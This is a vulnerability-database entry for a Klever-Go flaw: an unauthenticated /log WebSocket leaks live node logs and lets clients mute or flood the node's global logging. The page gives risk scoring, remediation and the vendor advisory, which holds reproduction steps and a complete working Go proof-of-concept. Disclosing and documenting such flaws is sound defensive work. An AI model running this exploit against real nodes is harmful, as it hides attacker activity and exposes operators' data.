Skip to main content

Klever-Go CVE-2026-86064

| EUVDEUVD-2026-85574 HIGH
Information Exposure (CWE-200)
2026-09-23 https://github.com/klever-io/klever-go GHSA-9v8p-frvj-2pcm
8.6
CVSS 3.1 · Vendor: https://github.com/klever-io/klever-go
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach node REST API interface
  2. Delivery
    Open unauthenticated WebSocket to GET /log
  3. Exploit
    Send crafted logger profile as first frame
  4. Execution
    Node applies profile process-wide via Apply()
  5. Persist
    Mute or flood global node logging
  6. Impact
    Stream live process logs to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V14 - Data Protection Data exposure prevention
MITRE ATT&CK

2 techniques across 2 tactics: Collection, Discovery

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The /log WebSocket route is registered with open: true by default in config/node/api.yaml and performs no authentication before the WebSocket upgrade, so no special feature toggle is needed - the vulnerable behavior is the default. Exploitation requires only that the node's REST API interface (the --rest-api-interface binding) be network-reachable by the attacker; in the vendor's own reproduction it was bound to 127.0.0.1, so nodes that keep the REST API on localhost or a restricted admin interface are not remotely exploitable and this is the primary limiting factor. No authentication, credentials, or user interaction are required once the endpoint is reachable, and the attacker must send a valid logger-profile JSON as the first WebSocket message.

Impact

This is a genuine, easily-triggered management-plane flaw but its real-world priority is bounded by product footprint and exposure, not by the raw 8.6 score. CVSS 3.1 signals maximal reachability (AV:N/AC:L/PR:N/UI:N) - remote, unauthenticated, no user interaction, low complexity - and the /log route is enabled by default, so the barrier to exploitation is only network reachability of the REST API. A complete working Go PoC ships inside the vendor advisory, so publicly available exploit code exists; however there is NO EPSS score, NO CISA KEV listing, and NO SSVC decision data provided, so widespread or automated exploitation is not evidenced - treat this as reproducible-on-demand rather than actively-exploited. The primary conflict is impact magnitude: the vendor rates C:H, but the confirmed confidentiality effect is streaming live process logs (peer info, error traces, operational detail, and only 'occasionally' secrets), which reads closer to C:L; I assess C:L while noting C:H is defensible where logs carry credentials. Integrity (I:L) is real and arguably the more novel effect - an attacker mutates the process-global logger to mute (*:NONE) or flood (*:TRACE) all node logging, degrading detection and incident response while connected. Net: a real priority for anyone exposing the Klever-Go REST API to untrusted networks, but a lower-urgency issue where the interface is bound to localhost/admin-only, and the product's niche blockchain-validator footprint caps aggregate risk.

Exploit ScenarioDerived

An attacker who can reach a Klever-Go node's REST API interface opens a WebSocket to GET /log with no credentials and sends a single logger-profile JSON as the first frame (e.g. {"LogLevelPatterns":"*:NONE"}). The node applies it to the global logger, silencing all validator slot/operational logs for the lifetime of the connection while simultaneously streaming live process logs back to the attacker. A full working Go PoC (gorilla/websocket) is published in the vendor advisory, and exploitation needs only network access and low complexity.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 23, 2026

Unauthenticated remote attackers can connect to the /log WebSocket endpoint in Klever-Go and either read live node logs or apply an arbitrary logger profile process-wide, for example setting *:NONE to mute normal slot logs or *:TRACE to flood them. The flaw is a management-plane information exposure (CWE-200) with additional integrity and availability effects, and publicly available exploit code exists because the advisory includes a proof-of-concept reproduction; no CISA KEV active exploitation is indicated. Exploitation requires the REST API to be network-reachable, so nodes that keep the API bound to localhost or an admin-only interface are not remotely exposed, and the vendor-released fix is version 1.7.20.

RemediationAI

Upgrade to Klever-Go v1.7.20 or later, which is the vendor-released patch; the fix is described in advisory GHSA-9v8p-frvj-2pcm and implemented in PR #74 and commit a2740c985a788fb69e17742ea4f0c37c440733b2. The patch enforces authentication before the WebSocket upgrade when /log is marked secured and ignores client-supplied logger profiles on unauthenticated /log connections. If immediate upgrade is not possible, set the /log route to open: false in config/node/api.yaml and require authentication for any remaining admin log-streaming route, bind the REST API to 127.0.0.1 or a trusted admin network via --rest-api-interface, and block public network access to the API port with firewall rules. These compensating controls carry trade-offs: disabling /log removes remote log streaming, while localhost binding or firewall restrictions prevent legitimate remote administration and monitoring. Do not apply client-provided logger profiles to the process-global logger as a code-level mitigation.

Affected VersionsENISA

klever-go < 1.7.20

Affected Packages

go github.com/klever-io/klever-go fix: 1.7.20
euvd klever_go fix: 1.7.20

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in the Klever-Go node's WebSocket logging endpoint, exposed by default via GET /log and registered in network/api/api.go, with the route enabled by config/node/api.yaml. After the WebSocket upgrade, which is performed without authentication, the server in network/api/logs/logSender.go reads the first client message and deserializes it as a logger Profile, then calls profile.Apply() from github.com/klever-io/klever-go-logger. That applies the attacker-supplied LogLevelPatterns, WithCorrelation, and WithLoggerName settings to the process-global logger, affecting all node logging until the WebSocket disconnects and the server restores the previous profile. The same unauthenticated connection is also registered as a log observer and receives live logs, which is the CWE-200 information exposure. The affected package is pkg:go/github.com_klever-io_klever-go, covering Klever-Go up to and including 1.7.19. The root cause is an access-control and design flaw rather than a memory-safety issue: the endpoint mixes remote log streaming with process-global logger configuration and performs no authentication or authorization before applying client-controlled settings.

Know when Go gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/klever-io/klever-go) PRIMARY 8.6 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
vuln.today AI 7.3 HIGH

Remote, unauthenticated, default-enabled endpoint (AV:N/AC:L/PR:N/UI:N); live-log exposure is operational so C:L not C:H, logger mutation is I:L, and log suppression degrades visibility as A:L.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/klever-io/klever-go).

CVSS VectorVendor: https://github.com/klever-io/klever-go

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
Low

DescriptionCVE.org

An unauthenticated client can connect to GET /log, send an arbitrary logger profile as the first WebSocket message, and mutate the node's global logging configuration before receiving live logs from the process. I confirmed this against a local validator built from this repository: an unauthenticated client set the global log level to *:NONE, the node accepted the profile, and the node stopped emitting normal slot logs while the WebSocket connection remained open.

This is not a duplicate of the published KVM or P2P advisories. It is a management-plane flaw in the public WebSocket logging endpoint.

Vulnerability details

Affected code

  • Route exposed by default in config/node/api.yaml
  • Route registration in network/api/api.go
  • Unauthenticated upgrade in network/api/api.go
  • First client message is parsed as a logger profile and applied globally in network/api/logs/logSender.go
  • Global logger mutation happens in dependency github.com/klever-io/klever-go-logger, profile.go, Apply()

Root cause

/log is enabled by default and does not require authentication. After the WebSocket upgrade, the server reads the first client message and treats it as a logger Profile. That profile is then applied process-wide through profile.Apply(), which changes global log level patterns and output formatting options for the whole node.

After that handshake, the same unauthenticated connection is registered as a log observer and receives live logs from the running process.

Reproduction steps

Environment

  • Validator built from the repository at commit 9640d63265e910e166dfa694c8e5ddeb53018ffd
  • REST API bound locally for validation
  • Tested on 2026-05-30

Step 1: Build and run a local validator from source

bash
cd <repo-root>

go build -o ./bin/validator ./cmd/node

./bin/validator \
  --rest-api-interface=127.0.0.1:18080 \
  --port=18083 \
  --config=./config/node/config.yaml \
  --config-api=./config/node/api.yaml \
  --config-epochs=./config/node/enableEpochs.yaml \
  --config-gas-schedule=./config/node/gasScheduleV1.yaml \
  --config-external=./config/node/external.yaml \
  --genesis-file=./config/node/genesis.json \
  --nodes-setup-file=./config/node/nodesSetup.json \
  --working-directory=./validator-report-run \
  --use-log-view

The node exposes GET /log and a plain HTTP request already shows it is a live WebSocket endpoint:

bash
curl -i http://127.0.0.1:18080/log

Observed response:

http
HTTP/1.1 400 Bad Request
Sec-Websocket-Version: 13

Step 2: Confirm normal node logging before the attack

Before the attack, the validator emits periodic slot logs such as:

text
#################################### SLOT 14 BEGINS ####################################
#################################### SLOT 15 BEGINS ####################################

Step 3: Connect to /log without authentication and apply a global mute profile

Run the PoC file:

bash
cd <repo-root>
go run ./poc-log-profile-control.go \
  -url ws://127.0.0.1:18080/log \
  -profile none \
  -hold 12s

Full PoC source:

go
package main

import (
	"flag"
	"fmt"
	"log"
	"time"

	"github.com/gorilla/websocket"
)

func main() {
	url := flag.String("url", "ws://127.0.0.1:18080/log", "WebSocket log endpoint")
	profile := flag.String("profile", "none", "Profile to send: none or trace")
	hold := flag.Duration("hold", 12*time.Second, "How long to keep the socket open")
	flag.Parse()

	payload := `{"LogLevelPatterns":"*:NONE","WithCorrelation":false,"WithLoggerName":false}`
	switch *profile {
	case "trace":
		payload = `{"LogLevelPatterns":"*:TRACE","WithCorrelation":true,"WithLoggerName":true}`
	case "none":
	default:
		log.Fatalf("unsupported profile %q", *profile)
	}

	c, _, err := websocket.DefaultDialer.Dial(*url, nil)
	if err != nil {
		log.Fatalf("dial: %v", err)
	}
	defer c.Close()

	fmt.Printf("connected to %s\n", *url)
	fmt.Printf("sending payload: %s\n", payload)

	if err := c.WriteMessage(websocket.TextMessage, []byte(payload)); err != nil {
		log.Fatalf("write payload: %v", err)
	}

	fmt.Printf("holding connection open for %s\n", hold.String())
	time.Sleep(*hold)
	fmt.Println("closing connection")
}

Save the PoC as poc-log-profile-control.go in the repository root, or run it from any directory with access to the Go module cache.

Step 4: Observe the validator accepts and applies the unauthenticated profile

While the PoC is connected, the validator prints:

text
websocket log profile received  profile = [pattern=*:NONE, with correlation=false, with logger name=false]

Step 5: Observe logging is suppressed while the attacker connection remains open

In my local reproduction, the validator emitted:

text
SLOT 14 BEGINS
websocket log profile received profile = [pattern=*:NONE, ...]
reverted log profile profile = [pattern=*:INFO, ...]
SLOT 18 BEGINS

The expected slot logs for the interval while *:NONE was active did not appear. This proves that an unauthenticated client can suppress process logs globally while the WebSocket remains connected.

Step 6: Observe the profile is restored only after the attacker disconnects

After the PoC closes the WebSocket, the validator prints:

text
reverted log profile  profile = [pattern=*:INFO, with correlation=false, with logger name=false]

The revert happens because the server stores the previous profile and restores it only on disconnect. During the lifetime of the attacker connection, the attacker-controlled profile remains active.

Impact

An unauthenticated attacker can:

  • read live process logs over /log
  • mute node logging completely with *:NONE
  • increase verbosity to *:TRACE and force noisy logging
  • toggle correlation and logger-name settings process-wide

This affects both confidentiality and operational integrity.

In the reproduced case, the attacker hid normal validator slot logs for multiple slot intervals. In real deployments, logs commonly contain operational details, peer information, error traces, and occasionally secrets or credentials emitted by adjacent components. Even when no secrets are present, the ability to suppress or distort logs from the public network is a meaningful security impact because it degrades detection, incident response, and operator visibility while an attacker is active.

This issue is distinct from:

  • GHSA-jc6w-wmfc-fh33 (KVM read-only execution side effects)
  • GHSA-87m7-qffr-542v (MultiDataInterceptor remote OOM)
  • GHSA-74m6-4hjp-7226 (MultiDataInterceptor throttler slot leak)

Those are VM/P2P-path flaws. This finding is an unauthenticated management-plane flaw in the WebSocket logging endpoint.

Recommended fix

Immediate

  • Remove /log from the default open: true route set.
  • Require authentication before upgrading the WebSocket.
  • Reject unauthenticated clients before any profile message is processed.

Short term

  • Do not apply client-provided logger profiles to the process-global logger.
  • If remote log viewing is required, allow only a fixed server-side profile or a strict allowlist of safe settings.
  • Enforce origin checks and, if possible, bind /log to localhost-only or a dedicated admin interface.

Long term

  • Separate log streaming from global logger configuration.
  • Move any profile mutation capability behind an authenticated admin-only channel with explicit authorization and audit logging.

Technical POC Analysis

Bug class: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor); the advisory also assigns CWE-306 (Missing Authentication for Critical Function).

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

Klever-Go, the blockchain node implementation, carries a high-severity flaw in its /log WebSocket endpoint that lets anyone able to reach a node's REST API read live node logs and rewrite the node's logging configuration process-wide - either silencing normal slot logs or flooding them. Nodes whose REST API is bound to localhost or an admin-only interface are not remotely exposed, but any node with a network-reachable API is at risk of operational data disclosure and of log manipulation that could mask other malicious activity on the network. Leadership should care because logging integrity underpins incident detection and audit obligations across the validator and node fleet, and a single exposed endpoint can undermine both confidentiality and the reliability of the evidence used to investigate other incidents.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.4%
Top 69% exploitable
Prevalence
Low
niche OSS Go blockchain validator node, limited validator-operator footprint
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

63
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +43
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

More in Go

View all
CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2016-5386 HIGH
8.1 Jul 19

The net/http package in Go through 1.6 does not attempt to address RFC 3875 section 4.1.18 namespace conflicts and there

CVE-2025-68121 CRITICAL POC
10.0 Feb 05

Critical certificate validation bypass in Go crypto/tls during session resumption. If ClientCAs or RootCAs fields are mu

CVE-2019-14809 CRITICAL POC
9.8 Aug 13

net/url in Go before 1.11.13 and 1.12.x before 1.12.8 mishandles malformed hosts in URLs, leading to an authorization by

CVE-2026-90942 CRITICAL POC
9.3 Sep 14

Casdoor through 4.4.0 exposes its instance-wide built-in JWT signing private key unmasked through the /api/get-certs and

CVE-2026-101090 CRITICAL POC
9.3 Sep 27

Host header injection in Nezha 2.2.3's OAuth2 redirect endpoint (/api/v1/oauth2/{provider}) allows an unauthenticated re

CVE-2026-78428 HIGH POC
8.8 Sep 17

Session cross-wiring in SUSE NeuVector before 5.6.1 allows an unauthenticated remote attacker to obtain another user's a

CVE-2026-92791 HIGH POC
8.7 Sep 16

Unauthenticated path traversal in Uber Kraken through 0.1.29 allows remote attackers to read files outside the configure

CVE-2018-7187 HIGH POC
8.8 Feb 16

The "go get" implementation in Go 1.9.4, when the -insecure command-line option is used, does not validate the import pa

CVE-2026-16651 HIGH POC
8.7 Sep 21

Denial of service in Temporal Server allows an authenticated caller holding at least namespace read permission to crash

CVE-2026-82405 HIGH POC
8.7 Sep 23

Account takeover in Klever-Go's KleverUpdateAccountPermission built-in (all versions prior to 1.7.20) allows an attacker

CVE-2026-82409 HIGH POC
8.4 Sep 23

Maliciously crafted on-chain account names processed by Klever-Go prior to 1.7.20 are spliced into Elasticsearch _bulk r

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy